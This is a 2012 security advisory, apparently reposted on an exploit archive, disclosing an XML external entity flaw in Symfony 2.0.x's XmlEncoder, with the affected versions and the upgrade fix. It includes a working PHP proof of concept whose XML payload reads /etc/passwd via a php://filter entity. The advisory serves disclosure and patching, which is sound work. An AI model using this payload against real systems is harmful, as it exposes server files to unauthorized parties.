Symfony 2 Unauthenticated Information Disclosure

2012-03-07T00:00:00
ID 1337DAY-ID-17629
Type zdt
Reporter Sense of Security
Modified 2012-03-07T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            Vendor Notification Date. 24-Feb-2012
Product. Symfony2
Platform. PHP
Affected versions. 2.0.x - 2.0.10
Severity Rating. Medium
Impact. Exposure of sensitive information
Attack Vector. Remote without authentication
Solution Status. Vendor patch / Upgrade to 2.0.11
CVE reference. CVE - not yet assigned

Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external
entities when parsing XML. In the Symfony2 framework the XML class
may be used to deserialize objects or as part of a client/server
API. By using external entities it is possible to include arbitrary
files from the file system. Any application written in Symfony2
that parses user supplied XML is affected.

Proof of Concept.
$serializer = new Serializer(array(), array(
'xml' => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));

$x = $serializer->decode('<?xml version="1.0"?><!DOCTYPE scan
[<!ENTITY test SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]><scan>&test;</scan>',
'xml');

var_dump($x);

// $x will now contain a copy of /etc/passwd base64 encoded.

Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.

Discovered by.
Phil Taylor from Sense of Security Labs.



#  0day.today [2018-01-06]  #